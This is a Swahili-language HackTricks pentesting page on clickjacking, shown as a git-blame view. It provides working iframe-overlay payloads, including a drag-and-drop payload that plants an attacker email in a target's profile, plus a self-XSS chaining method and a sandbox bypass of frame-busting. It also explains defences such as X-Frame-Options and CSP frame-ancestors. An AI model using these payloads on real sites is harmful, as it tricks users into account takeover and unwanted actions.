hacktricks/pentesting-web/clickjacking.md

226 lines
11 KiB
Markdown
Raw Normal View History

2022-06-06 22:28:05 +00:00
# Clickjacking
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2023-12-31 01:25:17 +00:00
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
Tumia [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking) kujenga na **kutumia workflows** kwa kutumia zana za **jamii za hali ya juu zaidi**.\
2024-02-11 02:13:58 +00:00
Pata Ufikiaji Leo:
2022-04-28 16:01:33 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
2022-06-06 22:28:05 +00:00
2024-02-11 02:13:58 +00:00
## Ni nini Clickjacking
Katika shambulio la clickjacking, **mtumiaji** anadanganywa kuwa **bonyeza** kwenye **element** kwenye ukurasa wa wavuti ambao ni **isiyoonekana** au imefichwa kama element tofauti. Udanganyifu huu unaweza kusababisha matokeo yasiyotarajiwa kwa mtumiaji, kama vile kupakua zisizo, kuelekezwa kwenye kurasa za wavuti zenye nia mbaya, utoaji wa vibali au habari nyeti, uhamishaji wa pesa, au ununuzi wa bidhaa mtandaoni.
2024-02-06 03:10:38 +00:00
### Mbinu ya kujaza fomu kabla
Maranyingi inawezekana **kujaza thamani ya uga wa fomu kwa kutumia vigezo vya GET wakati wa kupakia ukurasa**. Mshambuliaji anaweza kutumia tabia hii kujaza fomu na data ya kupotosha na kutuma mzigo wa clickjacking ili mtumiaji bonyeze kitufe cha Kutuma.
2020-10-13 11:29:54 +00:00
2024-02-11 02:13:58 +00:00
### Jaza fomu kwa Drag\&Drop
2020-10-13 11:29:54 +00:00
Ikiwa unahitaji mtumiaji **kujaza fomu** lakini hauitaki moja kwa moja kumuuliza aandike habari fulani maalum (kama barua pepe na au nenosiri maalum unalofahamu), unaweza kumwomba tu **Kuburuta&Kuachilia** kitu ambacho kitaiandika data yako iliyodhibitiwa kama katika [**mfano huu**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
### Mzigo wa Msingi
```markup
<style>
2024-02-11 02:13:58 +00:00
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
### Payload ya Hatua Nyingi
```markup
<style>
2024-02-11 02:13:58 +00:00
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
### Buruta\&Acha + Bofya mzigo
2020-10-13 11:29:54 +00:00
```markup
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```
2022-06-06 22:28:05 +00:00
### XSS + Clickjacking
Ikiwa umetambua **mshambulizi wa XSS ambao unahitaji mtumiaji bonyeze** kwenye kipengele fulani ili **kuzindua** XSS na ukurasa huo ni **mdhaifu kwa clickjacking**, unaweza kutumia hilo kudanganya mtumiaji abonyeze kitufe/kiungo.
Mfano:
_Umeona **self XSS** katika baadhi ya maelezo ya siri ya akaunti (maelezo ambayo **wewe pekee unaweza kuweka na kusoma**). Ukurasa na **fomu** ya kuweka maelezo haya ni **mdhaifu** kwa **Clickjacking** na unaweza **kuweka tayari** **fomu** na vigezo vya GET._
\_\_Mshambulizi anaweza kuandaa shambulizi la **Clickjacking** kwenye ukurasa huo **ukiweka tayari** **fomu** na **XSS payload** na **kudanganya** **mtumiaji** abonyeze **Kuthibitisha** fomu. Hivyo, **wakati fomu inapotumwa** na thamani zinabadilishwa, **mtumiaji atatekeleza XSS**.
2024-02-11 02:13:58 +00:00
## Mikakati ya Kupunguza Hatari ya Clickjacking
2024-02-11 02:13:58 +00:00
### Ulinzi wa Upande wa Mteja
Scripts zilizotekelezwa upande wa mteja zinaweza kutekeleza hatua za kuzuia Clickjacking:
* Kuhakikisha dirisha la programu ndio dirisha kuu au la juu.
* Kufanya fremu zote ziwezekane.
* Kuzuia bonyeza kwenye fremu zisizoonekana.
* Kugundua na kuonya watumiaji kuhusu majaribio ya Clickjacking.
Hata hivyo, mifumo hii ya kuvunja fremu inaweza kuepukwa:
* **Mipangilio ya Usalama ya Vivinjari:** Baadhi ya vivinjari vinaweza kuzuia mifumo hii kulingana na mipangilio yao ya usalama au kukosekana kwa msaada wa JavaScript.
* **Sifa ya HTML5 ya `sandbox` ya iframe:** Mshambulizi anaweza kufuta mifumo ya kuvunja fremu kwa kuweka sifa ya `sandbox` na thamani za `allow-forms` au `allow-scripts` bila `allow-top-navigation`. Hii inazuia fremu kuhakiki ikiwa ni dirisha kuu, k.m.
2024-02-06 03:10:38 +00:00
```html
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
### Ulinzi wa Upande wa Serveri
2024-02-06 03:10:38 +00:00
#### X-Frame-Options
Kichwa cha majibu ya HTTP cha **`X-Frame-Options`** kinawajulisha vivinjari kuhusu uhalali wa kurejesha ukurasa katika `<frame>` au `<iframe>`, kusaidia kuzuia Clickjacking:
- `X-Frame-Options: deny` - Hakuna kikoa kinaweza kurejesha yaliyomo.
- `X-Frame-Options: sameorigin` - Tovuti ya sasa pekee inaweza kurejesha yaliyomo.
- `X-Frame-Options: allow-from https://trusted.com` - Kikoa kilichotajwa pekee 'uri' kinaweza kurejesha ukurasa.
- Tafadhali kumbuka vikwazo: ikiwa kivinjari hakikubali agizo hili, huenda kisifanye kazi. Baadhi ya vivinjari hupendelea agizo la CSP la frame-ancestors.
#### Agizo la CSP la frame-ancestors katika Sera ya Usalama wa Yaliyomo (CSP)
**Agizo la `frame-ancestors` katika CSP** ndilo njia iliyopendekezwa ya kulinda dhidi ya Clickjacking:
- `frame-ancestors 'none'` - Sawa na `X-Frame-Options: deny`.
- `frame-ancestors 'self'` - Sawa na `X-Frame-Options: sameorigin`.
- `frame-ancestors trusted.com` - Sawa na `X-Frame-Options: allow-from`.
Kwa mfano, CSP ifuatayo inaruhusu tu kurejesha kutoka kwa kikoa kile kile:
`Content-Security-Policy: frame-ancestors 'self';`
Maelezo zaidi na mifano mingumu inaweza kupatikana katika [hati ya CSP ya frame-ancestors](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) na [hati ya Mozilla ya CSP ya frame-ancestors](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
2024-02-06 03:10:38 +00:00
2024-02-11 02:13:58 +00:00
### Sera ya Usalama wa Yaliyomo (CSP) na `child-src` na `frame-src`
2024-02-06 03:10:38 +00:00
**Sera ya Usalama wa Yaliyomo (CSP)** ni hatua ya usalama inayosaidia kuzuia Clickjacking na mashambulizi mengine ya kuingiza nambari kwa kufafanua vyanzo vipi vivinjari vinapaswa kuruhusu kupakia yaliyomo.
2024-02-06 03:10:38 +00:00
2024-02-11 02:13:58 +00:00
#### Agizo la `frame-src`
- Hufafanua vyanzo halali kwa ajili ya fremu.
2024-02-11 02:13:58 +00:00
- Ni maalum zaidi kuliko agizo la `default-src`.
2024-02-06 03:10:38 +00:00
```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
Hii sera inaruhusu fremu kutoka asili ile ile (self) na https://trusted-website.com.
2024-02-06 03:10:38 +00:00
2024-02-11 02:13:58 +00:00
#### Mwongozo wa `child-src`
* Kuletwa katika CSP kiwango cha 2 kuweka vyanzo halali kwa wafanyakazi wa wavuti na fremu.
* Inafanya kazi kama mbadala kwa frame-src na worker-src.
2024-02-06 03:10:38 +00:00
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```
Hii sera inaruhusu fremu na wafanyikazi kutoka asili ile ile (self) na https://trusted-website.com.
2024-02-06 03:10:38 +00:00
2024-02-11 02:13:58 +00:00
**Maelezo ya Matumizi:**
2024-02-06 03:10:38 +00:00
* Kupitishwa: child-src inafanyiwa mpito kwa faida ya frame-src na worker-src.
* Tabia ya Mbadala: Ikiwa frame-src haupo, child-src hutumiwa kama mbadala kwa fremu. Ikiwa zote mbili hazipo, default-src hutumiwa.
* Ufafanuzi wa Chanzo Imara: Jumuisha vyanzo vilivyothibitishwa tu katika maelekezo ili kuzuia unyonyaji.
#### Scripts za JavaScript za Kuvunja Fremu
2024-02-06 03:10:38 +00:00
Ingawa sio kamili, scripts za kuvunja fremu zinazotegemea JavaScript zinaweza kutumika kuzuia ukurasa wa wavuti usifungwe kwenye fremu. Mfano:
2024-02-06 03:10:38 +00:00
```javascript
if (top !== self) {
2024-02-11 02:13:58 +00:00
top.location = self.location;
2024-02-06 03:10:38 +00:00
}
```
#### Kutumia Vichwa vya Anti-CSRF
* **Uthibitishaji wa Kichwa:** Tumia vichwa vya anti-CSRF katika maombi ya wavuti ili kuhakikisha kuwa maombi ya kubadilisha hali yanafanywa kwa kusudi na mtumiaji na si kupitia ukurasa ulio Clickjacked.
2024-02-11 02:13:58 +00:00
## Marejeo
2022-04-05 22:24:52 +00:00
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
Tumia [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking) kujenga na **kutumia mifumo ya kazi** kwa urahisi ikiwa na zana za jamii zilizo **za juu zaidi** duniani.\
2024-02-11 02:13:58 +00:00
Pata Ufikiaji Leo:
2022-06-06 22:28:05 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:13:58 +00:00
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2023-12-31 01:25:17 +00:00
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
2022-04-28 16:01:33 +00:00
</details>